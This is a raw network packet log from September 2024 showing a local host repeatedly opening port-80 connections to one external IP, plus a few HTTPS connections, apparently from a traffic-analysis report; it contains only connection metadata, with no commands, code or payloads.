Sep 1, 2024 02:50:00.009531021 CEST	80	49923	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:00.756041050 CEST	80	49923	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:00.756095886 CEST	49923	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:00.878024101 CEST	49923	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:00.878362894 CEST	49924	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:00.883160114 CEST	80	49923	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:00.883225918 CEST	49923	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:00.883454084 CEST	80	49924	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:00.883521080 CEST	49924	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:00.883987904 CEST	49924	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:00.888712883 CEST	80	49924	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:01.628899097 CEST	80	49924	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:01.629164934 CEST	49924	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:01.685981035 CEST	49924	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:01.686302900 CEST	49925	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:01.691318989 CEST	80	49924	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:01.692286015 CEST	80	49925	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:01.692704916 CEST	49924	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:01.692738056 CEST	49925	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:01.695456028 CEST	49925	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:01.700253010 CEST	80	49925	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:02.457379103 CEST	80	49925	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:02.457434893 CEST	49925	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:02.561813116 CEST	49925	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:02.562096119 CEST	49926	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:02.567136049 CEST	80	49926	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:02.567190886 CEST	49926	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:02.567540884 CEST	49926	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:02.568872929 CEST	80	49925	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:02.568921089 CEST	49925	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:02.572725058 CEST	80	49926	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:03.336740971 CEST	80	49926	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:03.336884975 CEST	49926	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:03.340044022 CEST	49926	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:03.340063095 CEST	49927	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:03.345072031 CEST	80	49926	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:03.345216990 CEST	49926	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:03.345330954 CEST	80	49927	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:03.345427990 CEST	49927	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:03.345603943 CEST	49927	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:03.350477934 CEST	80	49927	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:05.040901899 CEST	80	49927	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:05.040918112 CEST	80	49927	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:05.040973902 CEST	80	49927	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:05.040982962 CEST	80	49927	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:05.040991068 CEST	49927	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:05.041029930 CEST	49927	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:05.041029930 CEST	49927	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:05.155747890 CEST	49927	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:05.155747890 CEST	49928	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:05.160821915 CEST	80	49928	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:05.160933971 CEST	49928	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:05.161230087 CEST	49928	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:05.161257982 CEST	80	49927	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:05.161386967 CEST	49927	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:05.165988922 CEST	80	49928	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:05.894241095 CEST	80	49928	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:05.894313097 CEST	49928	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:05.897747993 CEST	49928	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:05.898097992 CEST	49929	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:05.903040886 CEST	80	49928	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:05.903176069 CEST	49928	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:05.903424978 CEST	80	49929	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:05.903489113 CEST	49929	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:05.903762102 CEST	49929	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:05.908710003 CEST	80	49929	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:06.433653116 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:06.433711052 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:06.446768045 CEST	49779	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:06.446780920 CEST	443	49779	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:06.677148104 CEST	80	49929	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:06.677220106 CEST	49929	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:06.781073093 CEST	49929	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:06.781424999 CEST	49930	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:06.786458969 CEST	80	49929	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:06.786525011 CEST	49929	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:06.786556005 CEST	80	49930	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:06.786634922 CEST	49930	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:06.786772013 CEST	49930	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:06.792541981 CEST	80	49930	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:06.794296026 CEST	49930	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:06.798233986 CEST	49931	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:06.804250002 CEST	80	49931	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:06.804343939 CEST	49931	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:06.804474115 CEST	49931	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:06.809601068 CEST	80	49931	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:07.569757938 CEST	80	49931	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:07.569879055 CEST	49931	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:07.685760021 CEST	49932	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:07.685781002 CEST	49931	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:07.699615955 CEST	80	49932	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:07.699721098 CEST	49932	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:07.699862003 CEST	80	49931	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:07.699970961 CEST	49931	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:07.700153112 CEST	49932	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:07.705837011 CEST	80	49932	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:08.448729038 CEST	80	49932	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:08.448784113 CEST	49932	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:08.453066111 CEST	49932	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:08.453557014 CEST	49933	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:08.466245890 CEST	80	49932	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:08.466315985 CEST	49932	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:08.466733932 CEST	80	49933	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:08.466808081 CEST	49933	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:08.467194080 CEST	49933	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:08.474622965 CEST	80	49933	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:09.250776052 CEST	80	49933	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:09.251059055 CEST	49933	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:09.362519026 CEST	49933	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:09.368419886 CEST	80	49933	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:09.368458033 CEST	49934	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:09.368515968 CEST	49933	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:09.373275042 CEST	80	49934	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:09.373408079 CEST	49934	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:09.373611927 CEST	49934	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:09.378712893 CEST	80	49934	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:10.115999937 CEST	80	49934	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:10.116060972 CEST	49934	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:10.119544983 CEST	49934	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:10.119934082 CEST	49935	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:10.125720978 CEST	80	49934	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:10.125731945 CEST	80	49935	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:10.125781059 CEST	49934	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:10.125787020 CEST	49935	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:10.235647917 CEST	49936	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:10.241271019 CEST	80	49936	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:10.241334915 CEST	49936	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:10.241592884 CEST	49936	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:10.247577906 CEST	80	49936	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:10.993582964 CEST	80	49936	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:10.993691921 CEST	49936	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:11.008934975 CEST	49936	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:11.008939028 CEST	49937	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:11.013981104 CEST	80	49937	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:11.014230967 CEST	49937	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:11.014444113 CEST	80	49936	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:11.014468908 CEST	49937	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:11.014539003 CEST	49936	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:11.019640923 CEST	80	49937	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:11.770752907 CEST	80	49937	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:11.770816088 CEST	49937	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:11.890604019 CEST	49937	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:11.891105890 CEST	49938	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:11.895864010 CEST	80	49937	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:11.895910025 CEST	49937	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:11.896198034 CEST	80	49938	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:11.896251917 CEST	49938	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:11.896619081 CEST	49938	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:11.901499033 CEST	80	49938	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:12.638910055 CEST	80	49938	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:12.638969898 CEST	49938	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:12.642833948 CEST	49938	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:12.643192053 CEST	49939	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:12.649079084 CEST	80	49938	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:12.649130106 CEST	49938	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:12.649296045 CEST	80	49939	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:12.649354935 CEST	49939	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:12.649568081 CEST	49939	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:12.654584885 CEST	80	49939	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:13.394985914 CEST	80	49939	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:13.395092010 CEST	49939	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:13.500582933 CEST	49939	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:13.500595093 CEST	49940	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:13.505471945 CEST	80	49940	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:13.505703926 CEST	80	49939	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:13.508717060 CEST	49940	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:13.508718014 CEST	49939	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:13.508915901 CEST	49940	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:13.513868093 CEST	80	49940	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:14.258331060 CEST	80	49940	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:14.258380890 CEST	49940	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:14.261527061 CEST	49940	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:14.262058973 CEST	49941	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:14.266808033 CEST	80	49940	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:14.266860008 CEST	49940	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:14.267142057 CEST	80	49941	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:14.267211914 CEST	49941	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:14.267359018 CEST	49941	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:14.272416115 CEST	80	49941	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:14.824639082 CEST	49863	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:14.824666023 CEST	443	49863	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:15.010675907 CEST	80	49941	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:15.016577005 CEST	49941	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:15.123986006 CEST	49941	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:15.126631975 CEST	49942	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:15.129086018 CEST	80	49941	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:15.129148960 CEST	49941	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:15.131407022 CEST	80	49942	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:15.134674072 CEST	49942	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:15.134772062 CEST	49942	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:15.139586926 CEST	80	49942	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:15.873694897 CEST	80	49942	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:15.873769045 CEST	49942	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:15.876410007 CEST	49942	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:15.876708031 CEST	49943	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:15.881608009 CEST	80	49943	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:15.881678104 CEST	49943	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:15.881895065 CEST	49943	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:15.882008076 CEST	80	49942	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:15.882057905 CEST	49942	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:15.886892080 CEST	80	49943	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:16.567972898 CEST	49944	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:16.568018913 CEST	443	49944	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:16.568234921 CEST	49944	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:16.568331003 CEST	49945	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:16.568362951 CEST	443	49945	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:16.568411112 CEST	49945	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:16.568573952 CEST	49944	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:16.568591118 CEST	443	49944	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:16.568756104 CEST	49945	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:16.568772078 CEST	443	49945	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:16.635591984 CEST	80	49943	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:16.635754108 CEST	49943	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:16.750169992 CEST	49943	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:16.750493050 CEST	49946	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:16.755321026 CEST	80	49943	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:16.755373955 CEST	49943	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:16.755455971 CEST	80	49946	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:16.755516052 CEST	49946	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:16.755733013 CEST	49946	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:16.760533094 CEST	80	49946	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:17.021924973 CEST	443	49945	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.023442984 CEST	49945	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:17.023464918 CEST	443	49945	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.023751974 CEST	443	49945	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.024595022 CEST	49945	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:17.024652958 CEST	443	49945	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.035351992 CEST	443	49944	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.035700083 CEST	49944	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:17.035716057 CEST	443	49944	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.036875963 CEST	443	49944	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.037338018 CEST	49944	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:17.037472010 CEST	443	49944	172.64.41.3	192.168.2.4
Sep 1, 2024 02:50:17.124998093 CEST	49947	443	192.168.2.4	23.43.85.136
Sep 1, 2024 02:50:17.125015020 CEST	443	49947	23.43.85.136	192.168.2.4
Sep 1, 2024 02:50:17.125081062 CEST	49947	443	192.168.2.4	23.43.85.136
Sep 1, 2024 02:50:17.125277042 CEST	49947	443	192.168.2.4	23.43.85.136
Sep 1, 2024 02:50:17.125287056 CEST	443	49947	23.43.85.136	192.168.2.4
Sep 1, 2024 02:50:17.137373924 CEST	49945	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:17.147469044 CEST	49944	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:50:17.505974054 CEST	80	49946	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:17.506038904 CEST	49946	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:17.508618116 CEST	49946	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:17.508908987 CEST	49948	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:17.513854027 CEST	80	49948	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:17.513921022 CEST	49948	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:17.514112949 CEST	49948	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:17.514476061 CEST	80	49946	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:17.514519930 CEST	49946	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:17.519256115 CEST	80	49948	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:17.606782913 CEST	443	49947	23.43.85.136	192.168.2.4
Sep 1, 2024 02:50:17.607198954 CEST	49947	443	192.168.2.4	23.43.85.136
Sep 1, 2024 02:50:17.607206106 CEST	443	49947	23.43.85.136	192.168.2.4
Sep 1, 2024 02:50:17.607486963 CEST	443	49947	23.43.85.136	192.168.2.4
Sep 1, 2024 02:50:17.607924938 CEST	49947	443	192.168.2.4	23.43.85.136
Sep 1, 2024 02:50:17.607979059 CEST	443	49947	23.43.85.136	192.168.2.4
Sep 1, 2024 02:50:17.608201981 CEST	49947	443	192.168.2.4	23.43.85.136
Sep 1, 2024 02:50:17.652498007 CEST	443	49947	23.43.85.136	192.168.2.4
Sep 1, 2024 02:50:18.275717974 CEST	80	49948	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:18.275834084 CEST	49948	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:18.390348911 CEST	49948	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:18.390628099 CEST	49949	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:18.395740032 CEST	80	49948	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:18.396116018 CEST	80	49949	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:18.396198988 CEST	49948	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:18.396199942 CEST	49949	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:18.396487951 CEST	49949	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:18.401437044 CEST	80	49949	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:19.155812025 CEST	80	49949	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:19.155926943 CEST	49949	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:19.158740997 CEST	49949	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:19.159059048 CEST	49950	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:19.163891077 CEST	80	49949	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:19.163966894 CEST	49949	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:19.164128065 CEST	80	49950	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:19.164211988 CEST	49950	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:19.164414883 CEST	49950	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:19.169222116 CEST	80	49950	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:19.909727097 CEST	80	49950	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:19.909876108 CEST	49950	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:20.013401031 CEST	49950	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:20.013401031 CEST	49951	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:20.018315077 CEST	80	49951	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:20.018419027 CEST	49951	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:20.018533945 CEST	49951	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:20.018703938 CEST	80	49950	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:20.018800020 CEST	49950	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:20.023370981 CEST	80	49951	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:20.773947001 CEST	80	49951	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:20.774763107 CEST	49951	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:20.777476072 CEST	49951	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:20.777483940 CEST	49952	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:20.782918930 CEST	80	49952	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:20.783216000 CEST	80	49951	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:20.783246040 CEST	49952	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:20.783431053 CEST	49952	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:20.783490896 CEST	49951	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:20.788558006 CEST	80	49952	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:21.556848049 CEST	80	49952	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:21.556905985 CEST	49952	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:21.672280073 CEST	49952	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:21.672662973 CEST	49953	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:21.677469015 CEST	80	49952	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:21.677517891 CEST	49952	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:21.677747965 CEST	80	49953	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:21.677809954 CEST	49953	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:21.678092003 CEST	49953	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:21.682923079 CEST	80	49953	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:22.423034906 CEST	80	49953	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:22.423310041 CEST	49953	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:22.503062963 CEST	49953	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:22.504847050 CEST	49954	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:22.508210897 CEST	80	49953	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:22.508327961 CEST	49953	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:22.510031939 CEST	80	49954	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:22.513274908 CEST	49954	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:22.513689041 CEST	49954	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:22.518470049 CEST	80	49954	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:23.275403976 CEST	80	49954	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:23.275468111 CEST	49954	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:23.405473948 CEST	49954	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:23.405822992 CEST	49955	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:23.410762072 CEST	80	49954	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:23.410773993 CEST	80	49955	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:23.410820961 CEST	49954	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:23.410867929 CEST	49955	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:23.411184072 CEST	49955	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:23.416383982 CEST	80	49955	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:24.150049925 CEST	80	49955	185.215.113.19	192.168.2.4
Sep 1, 2024 02:50:24.150161028 CEST	49955	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:24.153084993 CEST	49955	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:24.153357983 CEST	49956	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:50:24.158380985 CEST	80	49955	185.215.113.19	192.168.2.4
